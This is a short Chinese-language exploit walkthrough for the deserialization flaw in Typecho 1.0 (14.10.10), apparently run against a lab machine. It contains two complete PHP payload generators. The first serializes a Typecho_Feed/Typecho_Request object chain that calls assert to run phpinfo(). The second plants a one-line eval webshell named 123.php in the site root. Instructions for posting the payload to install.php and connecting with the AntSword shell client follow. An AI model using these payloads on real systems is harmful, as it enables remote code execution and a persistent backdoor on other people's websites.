漏洞利用

漏洞利用脚本 phpinfo()信息

<?php//typecho_1.0(14.10.10)_unserialize_phpinfo.php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

得到base64编码后的结果

​ 请求体参数是__typecho_config=，上面base64编码后的结果就是该参数的值

GetShell

payload如下：

<?php//typecho_1.0(14.10.10)_unserialize_GetShell.php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'file_put_contents(\'123.php\',\'<?php @eval($_POST[shell]);?>\')';$this->_filter[0] = 'assert';}
}class Typecho_Feed
{private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = 'ATOM 1.0';$item['author'] = new Typecho_Request();$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('adapter' => $x,'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>

http://192.168.80.140/typecho_1.0(14.10.10)/build/install.php?finish=

传递post参数__typecho_config值

点击执行，返回 状态码500

这个时候在网站的根目录下生成一个123.php一句话木马文件

浏览器访问一下这个123.php文件

然后使用蚁剑连接
